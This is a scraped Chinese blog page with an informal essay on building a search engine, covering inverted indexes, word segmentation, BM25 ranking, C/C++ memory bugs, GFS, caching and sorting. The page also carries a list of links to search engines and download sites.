    互联网构成的这个巨大的图还有这样的特性,如果我们截取的是一块,假设类似一个圆,那么直径越大,理论上边际节点越多。 所谓的边际节点就是他的链接我们有,但是没有这些链接对应的网页。有点类似于谁的名言来着:知道的越多,不知道的也越多。随着互联规模的扩大,这种趋势也越来越明显,特别是我们只下载其中一部分网页的情况下。这种边际节点给理论上的PageRank计算带来了不小的问题:大量的边际节点的存在,让原始的PageRank计算难以发挥用,不过,很快就有人提出了新的PageRank算法。你可以看一下相应的论文。

     

    快照。下载的时候,把网页down到本地来,然后,当一个Url对应的网页打不开的时候,你可以打开搜索引擎做上的快照,看看爬虫当时爬下来的网页的样子,不过一般都是把网页上乱七八糟的东西比如flash广告都去掉了---为了节省硬盘空间。

     

    说到这里就需要说一下全局ID以及什么时候需要这样的ID值。每一个网页都有一个ID值,这个ID就是他的url的Md5值。如果我们的数据有       10亿,20亿,几十亿。。。。。把所有的数据都放到一台机器上肯定不可能。我们用上边提到的取模的办法,分散到各个机器上。什么时候需要这样的全局唯一ID值那?那就是你在机器间需要唯一标志的时候。这不是废话吗?我们慢慢讲。一般快照是不和索引数据放到一块的。 我们取快照的时候,其实是给定一个ID值,然后从另外的机器上找到这个值对应的东西显示给用户。如果,我说的是如果,我们的数据都是按照取模的办法分散开来,相应的数据放到了一台机器上,那就不需要全局唯一了,只要本台机器上唯一就可以了。不是吗?

     

    倒排索引。所谓的倒排是相对于我们的平时的习惯来的。平时的习惯是看到文章的标题,正文,然后是文章的内容的词。倒排反了过来,他是这样的,关键词,位置,其他属性,文章。有点类似于,我们写信的时候,地址是从大到小,然后到人,美国人是从人开始直到他的国家。呵呵。这样的好处是什么那?文章的集合是一个无穷尽的集合,但是,关键词的集合是相对小的多的集合,是可以枚举的,是基本有上限的词的集合构成了无穷尽的文章集合。而且,同一个关键词可以存在于不很多的文章里边,这么做可以节省内存,也可以方便做针对关键词的文章间的横向分析;同时,用户输入的是关键词,需要的是结果是文章,这样就在用户和文章之间建立一个通道。现在的搜索都是基于关键词的,所谓的推送,还有用户习惯的分析都是基于关键词的,只不过比用户自己输入关键词做了一层包装,方便了一点。这就是我为什么上边说搜索上革命性的变化还没有看到的原因。如果说关键词搜索是搜索2.0,那些概念做的好的话充其量也就是2.01,比第三代还差的远。当然,也许是我知道的太少,如果您看到了这样的东西,不妨告诉我,我也非常想知道。我认为,第三代是基于内容的分析和理解上的。不过,这只是猜想。我还远没有达到大师的级别。

     

    分词。基于关键词的检索有一个前提条件,那就是,把文章分成一个个关键词。分成怎样的关键词集合,标准是人来制定的。人在看完一篇文章以后,读懂了他的意思,然后把各个句子分开成一个个的词。当网页到了如此大规模的时候,用人工的方法断句分词当然是不现实的。用程序分词就需要告诉程序,怎样才算是一个词。有几种办法。我也知道的不是很多,没有对这个深入的研究过。不过都需要词典的支持,这个词典是人工生成的。基于词典的最大匹配办法很常用。还有一个方法是人工对一堆的文章进行断词,然后计算机统计一个词在另外一个词后边存在的概率。然后在处理新的文章的时候,他可以根据这个确定是否是把字符串这样分开。

     

    关键词也是字符串,他们的比较我们一般还是用md5的办法,称之为WordID。整数的比较、存放比长度变化的字符串之间的比较自然是方便了很多。

     

    如果搜索引擎只是返回包含这个关键词的文章集合,那不叫信息检索,那叫查询。就跟在数据库中写一个sql语句查询一样。呵呵。之所以叫做信息检索,就因为有了对结果的排序,也叫做相关性排序。一个关键词在一个文章中的比重是不同的,甚至是出现在不同的位置,标题,正文的各个位置,链接文本。。。。。。带来的效果都是不同的。也可以说这篇文章对因为关键词所得的分数是不一样的,然后根据这些给文章打分,根据分数把文章排序。上边提到的<<现代信息检索>>讲基础部分讲的很好,BM25公式提出的办法是现在用的最广泛的;当然都需要在实际当中针对自己的方法做出相应的改变。一般认为这和大规模数据的检索程序一起视为搜索引擎的核心技术。 任何的数据处理,检索办法都是为了后续的排序做准备的。没有相关性排序不能称之为搜索引擎。当其他的工程部分趋向于定式的时候,唯有分词和相关性排序需要加大后期的投入。

     

    其实,仔细想想就可以发现,现在所有的技术都是基于统计的。没有真正意义上的基于内容的分析和理解。计算机还是一如既往的死板,直肠子,不会拐弯,还只会按照人设定的规则去做,还远没有做到像人一般的联想,自己设定智能意义的规则,我认为,对内容的理解是基于对事物之间的关系以及对它们之间的联想上的。现阶段的内存和硬盘简单的数组、矩阵关系显然难以达到这一点。他的发展应该是向着仿生的方向发展的,特别是人的脑袋,不是说人的脑袋全部开发可以存下美国最大的图书馆吗?呵呵。不过,一旦真正意义上的智能出现,他的发展当然是指数级别的。智能计算机的生产自己的下一代,我的天,那是迭代的。呵呵。这是随便说着玩的。您也就姑且当作一乐。

     

    当然,在全面的解决办法临之前,并不是说我们就堵在这里就没有办法前进了。社区和知识库是现在的搜索引擎的非常好的补充。当大搜索,相关性排序大家做的差不多趋于一致的的时候,百度贴吧、百度知道的有利补充让百度搜索凸显了了和其他公司的大搜索的不同。你搜索的时候可以注意一下,你在百度上搜的东西那些是来自于贴吧和知道的。特别是那些与日常生活关系很大的信息,比如,在北京我到哪里买黄金(前两天跟媳妇去买结婚戒指了!),输入这个关键词“北京 买黄金”。。。。他的问题是人提出来的,人回答的,还有内部的答案筛选机制。大家的参与,一旦形成了规模效应,效果立马显现。就好像,百度搜什么搜的都很准,用户体验非常的好,久而久之形成了搜索的习惯。习惯一旦养成,想改变是一个困难的事情。呵呵。而且现在能做到输入一句话全句飘红的也仅此一家而已。大搜索雅虎中国在做,搜狐在做,QQ也在做。如果不能在这个方面把百度比下去的话,想把头把交椅抢过来是一个很困难的事情,其他的方面弄大家做到最后都差不多嘛!Google就跟天涯这样的社区合作,很漂亮的战略和战术,天涯内容发展好了,对google来讲,跟百度贴吧有的一拼。不过还有一个有潜力的,QQ。他的人气,是任何人都不能小觑的,而且本身又有钱。只是发力晚了4、5年。暂且不对现有的秩序造成大的冲击,过两年就不一定了。

     

    建索引,检索,控制(监控),应该是算是一块的。他们的难度都在于数据量。

    数据量的规模上去了,所有以前可能忽略的问题都会变成问题。

    1.       7*24小时服务。这包含两部分,一部分是软件的,一部分是硬件的。

    软件部分。数据不停的来,不停的处理;搜索请求不停的来,服务程序不停的响应。一旦程序出现了什么问题,这个流水线的处理就出现了中断。我们需要知道,程序为什么出现了问题。任何的程序都不会是第一次运行就会天生可以稳定高效运行的。我需要实时知道的状态,他在干什么;它死了的时候我需要知道为什么玩完了。这些都需要日志的支持。而且还需要不同的日志记录到不同的文件里边,以便于后续的人工统计和分析。比如,查询日志。用户的查询日志是一个非常重要的资源,是可以用来进行后续分析的重要资源。而对于数据处理程序来讲,可以断点重启,就像flashget的断点重下一样,是非常方便和重要的。这些都有赖于不同的日志和断点环境的保存。

     

    一般的c,c++程序容易出现的问题是内存泄露和内存的越界访问。

    Linux的内存泄露问题可以通过一个开源工具valgrind来测试;windows下边的程序也有相应的头文件进行内存的判断(调用微软的API函数),你可以在网上查到。一个不断的流血(泄露内存)的程序是不能指望他长期运行的。内存很快就耗光了。内存分配、文件打开的成对编写程序(编写了分配,直接编写释放语句,然后把中间需要处理的内容在这两个语句之间插入)是非常难过管用的技巧。不过,即便这样,也需要非常注意借个非常容易出现内存不释放的地方。1. 循环的continue。2. 函数中间的返回return。本来后边有内存释放的,但是,让你的那两个语句给挡住了。呵呵。我也放过很多这样的错误。这种错误是一旦不注意就会犯的。特别是你的一个函数写的比较长的时候、一屏显示不开的时候(将函数小型化是非常重要的,但需要有一个度,过而不及!)。

     

    越界访问一般出现在数组、下标的溢出这样的地方。前两天写下载程序的时候就犯了一个致命的错误,让我调了一下午才找到错误的原因。我在定义Url字符串的时候,认为他的长度不会超过2048,超过2048的很变态,也很少,不过让我碰到了一个11K的。呵呵。一个strcpy让我的栈信息都被冲的无影无踪了。这才是最麻烦的,如果是一般的数组溢出,gdb可以直接定位到哪一行。而这样的错误,你是很难找到的错误点的。废了半天力气我才把错误定位到这一行上。当你发现程序错误错的很奇怪的时候,你会嘀咕,不应该有这样的错误的发生,不可能啊!你不妨考虑一下是否内存被冲了,变量的内容变了或者是运行到不该运行的地方(前者居多),然后程序出错了。那样的话,gdb或者VC给出定位是不对的。他应该是发生在其他的地方,而且严重的是这样的错误很难找。所以,在内存拷贝这样的操作的时候,不要想当然认为如何就如何。比如,strcpy,还是用strncpy吧。其他的错误总是好找,内存错误会让你中头彩。

    Gdb给出的错误文件是core.*****,如果让VC给出调试文件,需要做点设置。你可以看看我以前转载的那篇VC下发布的Release版程序的异常捕捉

     

    硬件部分。机器不停的提供服务,但是,不能指望他们可以忙一辈子。他们是有寿命的。比如说,损耗的最快的东西是什么?硬盘。搜索引擎一般采用1.4万转的硬盘。不停的读写对他们的寿命造成了很大的损害。呵呵。一般搜索引擎公司买硬盘都是上百块的买。当然,硬件7*24小时的服务需要软件的支持。比如说,搜索程序在写的时候就需要考虑到硬件当机的情况。当这台服务机器不能正常工作,监控程序需要及时报告维护人员,让他们及时维修;还有重要的一点是,或者是常用的做法是,一份数据,两个到三个相同的镜像。平时是几个镜像同时提供服务,紧急时刻,如果一个镜像不能联系,那么把流量导入另外的镜像。一般两台机器同时出现错误的概率是很低的。出现错误也要快修,别忘了我们的木桶理论。

     

        有一个特殊的东西,叫做GFS。就是google的分布式文件系统。为什么把它单独的提出来,因为他这两年实在是太火了。搜索引擎需要的数据实在是太大了,需要大量的硬盘来存储;他对数据处理的要求又很高,需要分布式的并行的处理。Google利用一批刀锋式PC,成功用低成本解决了这个问题。所说的低成本是每存储1G数据需要的花费的资金,以及能处理如此规模的用户请求的基础上每处理一个用户请求花费的资金。呵呵。说的有点绕口。从外边看来,就是人家把一堆普通PC机,一堆硬盘变成了一个巨大的机器。而且各个节点非常非常的便宜。比廉价磁盘阵列都便宜,也好用(当然是软件的支持)。单说一点,这个机器的内存和硬盘是?差不多是各个节点的内存以及相应硬盘的和。诱人吧。不过,没有钱往里边砸,还是不要做这样的系统。他的论文是公开的,看了之后谁都有点。。。那个蠢蠢欲动。。。呵呵。。。因为,看起来,不是很难嘛! 不过,你是否发现,论文上所说的东西都是原理,一个错误报告都没有。文件系统是一个底层的服务,没有千锤百炼谁敢把自己的系统放到一个不稳定的文件系统上运行?与原理相比,我更感兴趣的是,按照这种思路进行软件编写,他们在运行的过程中碰到的意外问题是什么?怎么解决的。而且,谁又有这么多的财力向redhat公司定制自己的单机文件系统。呵呵。这样想来,这样的一个程序需要多长的时间去完善?一般的真是耗不起。不过,现在有个开源的东西,Nutch。有时间需要好好看看。

     

    2.       多个机器之间的合作

    多个机器一块去处理这么一大堆数据,相应服务请求,总得有个指挥,以便可以做到此起彼落,默契配合。这就是控制和监控做的。说起来也是平平无奇,每一个工作的机器都是服务器端,然后总控程序是一个客户端,他告诉服务器端什么时间,应该做什么。这个时候,一组机器都是统一去做的,你就得将就那个最“无能的”。呵呵。典型的木桶理论的诠释。

     

    不过控制需要注意的是,一组机器作为一个控制单元,如果他们没有都做完你指定动作,你就不能要求他们做下一步动作。他们是一个完整的整体,就把他们看作一台机器好了,一荣不能俱荣,但是一废俱废。

     

    监控端,关于他的有个名词叫做心跳。你在看其他的资料的时候会看到这个。每一个间隔都向服务器端报告自己的状态(通过socket)。一般是间隔一秒。呵呵。其他的也没有什么可以说的,本来是一个简单的东西。

     

    3.       cache

    很多地方都用到了cache技术。依据数据访问的时间局部性和内容局部性原理,cache的出现极大的提高了数据访问的效率。特别是互联网上的搜索。扎堆的现象更为严重。这就是为什么会有搜索排行榜的原因了。前两天弄得沸沸扬扬的白领裸照事件。。。很多人搜的都是相同的关键词。在搜索引擎里边,cache作为独立的一部分出现,它能挡住75%以上的访问?也就是说,能进入到后台需要检索的访问占很小的一部分。大部分都在cache里边命中了。

    Cache的应用当然不止这一点。在所有你认为有数据需要缓冲访问的地方都可以用。用点内存换来访问的高效率有的时候还是很值得的。不过需要注意cache里边的数据的及时更新的问题,不能访问过时的数据。也就是数据何时更新的问题。

     

    排序,归并,排重。在这里,计算机恢复到了本来的面目,排序。你还记得数据结构和算法里边关于排序的介绍吗?我曾经问过一个面试的兄弟。他已经什么都记不起来了。只记住一个冒泡和快排。我以前听过小乔(中搜架构师)讲解数据结构和算法,让我大开眼界,终于知道什么时候,为什么用这些玩意了。前两天公司面试的时候,一个兄弟做排序,写了一个冒泡。我问他,能不能快点,他说快排。我说还能不能在快点,他说没有了。呵呵,把常数时间的排序都扔了(不过,也可能真的没有学)。下边这个程序是前段时间我在看基数排序的时候写的。工作的变更,一直都没有把它派上用场(以后说不定)。现在,这不会涉及到任何公司的机密,可以给大家看。他用了两倍于快排的内存,但是,我的测试是,可以有将近一倍的排序速度。

     

    平衡二叉树和快排有什么区别吗?从cpu的利用率上说。前者对cpu的使用基本上是平的;后者,在一个段时间把cpu用到100%,如果同一台机器上还有别人的程序在跑,那么他们都得等你,也就是你的资源利用不合理,造成了这段时间,cpu是程序的瓶颈;从动静方面来说,一个是动态的,可以边建,边检索,另外一个是静态的;从内存利用上说,前者耗费的远大于后者,大约一倍多点。

     

    哈希表,基本上算是最快的查找办法。每一个单元下边挂指针,解决冲突。而且,还有很多变体,你可以用内存中的一位表示一个桶。呵呵。这是一个非常好的利用内存的办法。数据量的增大,让我们每省一个字节都是非常有意义。我们称他为内存位图。其实,数组就是一个用下标做的不会有冲突的哈希。

     

    没有一个方法可以包打天下,但是,你要知道他们在什么样的环境下使用才是更合适的,什么样的环境下是无所谓的。让我现在默写一个快排,我会出错,也得调试一段时间。总是不能完全的记住每一个语句。呵呵。不过,我认为这不重要。这样的函数库我都已经写好了,或者是有现成的了,我只需要记住何时选用他们就好了。直接调用不就得了。单纯的记住,没有作用。但是,你要知道他的思想。

     

    Strlen. Strlen函数是用的很多的函数,你可测试过他的时间耗费?每调用一次,程序都需要遍历一次你的字符串,直到碰到0为止。字符串短,次数少的时候还看不出来,相反的情况下尽量少用,为什么不能一次调用,保存结果,到处使用那?

     

    你可以注意一下你的那些函数。关注的不只是功能,而是他们耗费的时间本身(很多时候我们对时间的要求大于对内存的要求)。能不能让你的程序更快点(当然是在程序稳定运行的基础上),而这种快仅限于对算法的选择,不包括语言的换用。你能把所有的C程序都改成汇编?没有必要。投入产出比太低了。不过这种追求也要看环境和用途。不可太过。过犹不及!什么东西都是这样,选择最合适,达到要求就好。过犹不及。还有很多需要做的东西,不是仅仅这一个玩意。

    展开全文
  • 各种搜索引擎

    万次阅读 2018-07-23 16:41:17
    https://sg.search.yahoo.com/ (雅虎) https://www.bing.com/(必应... ... https://bird.so/ (小众搜索) https://search.avira.com/#/ https://suche.gmx.net/web  (德国) https://r0.ru/ (俄国) https...

    https://sg.search.yahoo.com/ (雅虎)

    https://www.bing.com/(必应国际版)

    https://so.mezw.com/

    https://bird.so/ (小众搜索)

    https://search.avira.com/#/

    https://suche.gmx.net/web  (德国)

    https://r0.ru/ (俄国)

    https://www.yandex.com/ (俄国)

    https://search.avira.com/  (德国)

    https://www.qwant.com  (法国)

    https://www.ecosia.org/  (德国)

    需要web 在线代理,直接在搜索引擎搜索 “proxy”、”web proxy”、”china proxy”、”online proxy”。

    小众搜索引擎:

    http://www.quzhuanpan.com/ (去转盘)

    http://www.tuoniao.me/ (鸵鸟)

    http://www.panc.cc/ (胖次)

    https://wangpan007.com/ (007)

    http://www.panduoduo.net/ (盘多多)

    http://www.xilinjie.com/  (西林街)

    https://www.xiaoso.net  (小不点)

    磁力、bt 搜索引擎:

    https://btso.pw/search/

    https://a8bt.cc/

    http://www.btcherry.info/

    https://rarbg.is/torrents.php (北美资源)

    http://storebt.cc/

    https://idope.se/  (iDope)

    https://www.69mag.xyz/  (69mag)

    动漫资源:

    http://share.dmhy.org/ (动漫花园)

    https://nyaso.com/  (喵搜)

    https://gelbooru.com/  (国外的)

    http://www.dilidili.com/  (D站)

    http://mikanani.me/  (蜜柑计划)

    http://www.36dm.com/  (简单动漫)

    http://www.xkdmbt.com/  (汐空动漫)

    http://www.comicat.org/  (漫猫动漫)

    https://bangumi.moe/  (萌番组)

    电子书搜索引擎:

    https://www.jiumodiary.com/  (鸠摩搜索)

    https://sk.kindleshare.cn  (Kindleshare电子书搜索引擎)

    https://www.owllook.net/

    http://forfrigg.com/  (forfrigg,该站点需要科学)

     

    搜索引擎站点导航虫部落:

    http://search.chongbuluo.com/  (虫部落搜索)

    http://magnet.chongbuluo.com/  (虫部落资源搜索)

    https://idope.se/ (我是彩蛋,搜番号神器)

    【转自http://shenzjd.com/archives/398

    展开全文
  • 本教程旨在带领大家进入搜索引擎领域,从无到有,深入浅出的讲解了什么是搜索引擎搜索引擎的作用以及ElasticSearch在实际工作中的作用等。
  • 【本文于2017.05.19发布于个人博客】 搜索引擎是我日常工作中用得最多的一款工具,国内常用的搜索引擎包括Baidu,sougou,bing等。但我本篇要纪录的并不...
  • 搜索引擎概述(全)

    2019-10-24 12:11:00
    搜索引擎概述: 1.1 搜索引擎的概念: 搜索引擎是指根据一定的策略,运用特定的计算机程序搜集互联网上的信息,在对信息进行组织和处理后,并将处理后的信息显示给用户提供检索服务的系统 从使用者的角度看,搜索...
  • 四个干净高效的搜索引擎

    千次阅读 2020-03-31 15:29:26
    为什么不用百度搜索引擎,估计一百个人会有一百个理由。 百度最让人诟病的还是它的竞价排名,其实要赚钱无可厚非,但这吃相……前几天看到知乎上有人发了张百度和谷歌搜索的对比图,搜“网上药店”,百度搜索首页惨...
  • 18个搜索引擎

    千次阅读 2017-09-14 15:03:50
    18大搜索引擎 1、http://scholar.google.com/ 这个不多讲了. 3、http://www.scirus.com Scirus是目前互联网上最全面、综合性最强的科技文献搜索引擎之一,由Elsevier科学出 版社开发,用于搜索...
  • 你不知道的100个国外搜索引擎

    万次阅读 2019-08-27 16:14:13
    你不知道的100个国外搜索引擎 提到国外的搜索引擎(Search Engine),大家想到的大概首先就是Google,也许还有Bing。其实在互联网世界里还有千奇百怪的各种各样的搜索引擎,它们有各自的用途、各自的特点。今天我们...
  • 谷歌: (关键词) site: (域名) 比如: htmlsite:w3school.com.cn 百度: (关键词) site: (域名) 比如: htmlsite:w3school.com.cn
  • 各大磁力种子搜索引擎对比

    万次阅读 2018-12-04 10:46:27
    现在磁力种子搜索引擎质量参差不齐,现在就重点整理几个常用的种子搜索站,做个对比分析 1.屌丝搜-最懂屌丝的BT搜索引擎(www.diaosisou.com) 号称最懂屌丝的BT搜索引擎,确实名副其实,屌丝搜索功能强大。其种子...
  • ElasticSearch简介

    万次阅读 多人点赞 2020-09-14 11:07:07
    Elasticsearch 是一个分布式可扩展的实时搜索和分析引擎,一个建立在全文搜索引擎 Apache Lucene(TM) 基础上的搜索引擎.当然 Elasticsearch 并不仅仅是 Lucene 那么简单,它不仅包括了全文搜索功能,还可以进行以下...
  • 使用Python实现简单的搜索引擎,完整源码

    万次阅读 多人点赞 2020-04-06 00:21:13
    版权声明:转载请注明出处!...结合本学期《信息检索与搜索引擎技术》课程教学内容,利用网络爬虫技术、文档倒排索引技术、向量空间模型技术、检索排序技术,编写一个搜索引擎系统,系统能够实现根据...
  • 常见的百度云搜索引擎入口合集

    万次阅读 2018-05-11 17:37:39
    百度云是百度面向大众...答案便是使用百度云搜索引擎,百度云搜索引擎和我们常见的搜索引擎道理是一样的,只不过百度云搜索引擎只抓取百度云里面的文件!下面给大家推荐几个常见的百度云搜索引擎入口: 1、网盘搜...
  • 各大搜索引擎网站登录入口

    万次阅读 2019-01-08 08:15:47
    百度网站登录入口Google网站登录入口Yahoo网站登录入口Bing网站登录入口Dmoz网站登录入口Coodir网站目录登录入口Alexa网站登录入口搜狗网站收录提交入口Soso网站收录提交入口有道搜索网站登录入口搜索引擎收录查询...
  • 9个基于Java的搜索引擎框架

    万次阅读 2018-01-05 16:07:25
    9个基于Java的搜索引擎框架 转自:http://blog.csdn.net/xiaomin1991222/article/details/50980573 1、Java 全文搜索引擎框架 Lucene 毫无疑问,Lucene是目前最受欢迎的Java全文搜索框架,准确地说,它...
  • 设置bing为chrome的默认搜索引擎

    万次阅读 2017-04-13 14:51:56
    在新的电脑上安装chrome浏览器之后,...在设置--搜索--管理搜索引擎--其他搜索引擎 中设置bing搜索的网址为 http://cn.bing.com/search?q=%s  即可。 注意:search?q=%s 是必须的,否则无法将其设置为默认所有引擎。
  • 一个简单的站内搜索引擎的实现

    万次阅读 多人点赞 2020-06-17 09:00:22
    这学期的信息检索课程的实验要求做一个简单的站内搜索引擎,用来搜索山东大学新闻网(http://www.view.sdu.edu.cn/)的新闻内容。具体要求如下: 今天终于考完了这学期的最后一门计算机图形学的考试,现在有时间...
  • 网站建设完成之后,第一件事情就是向各大搜索引擎提交新网站。搜索引擎提交包括提交给搜索引擎爬虫和提交给分类目录。提交给搜索引擎爬虫的目的是让搜索引擎将网站收录到索引数据库。检验网站是否被搜索引擎收录的...
1 2 3 4 5 ... 20
收藏数 464,360
精华内容 185,744
关键字:

搜索引擎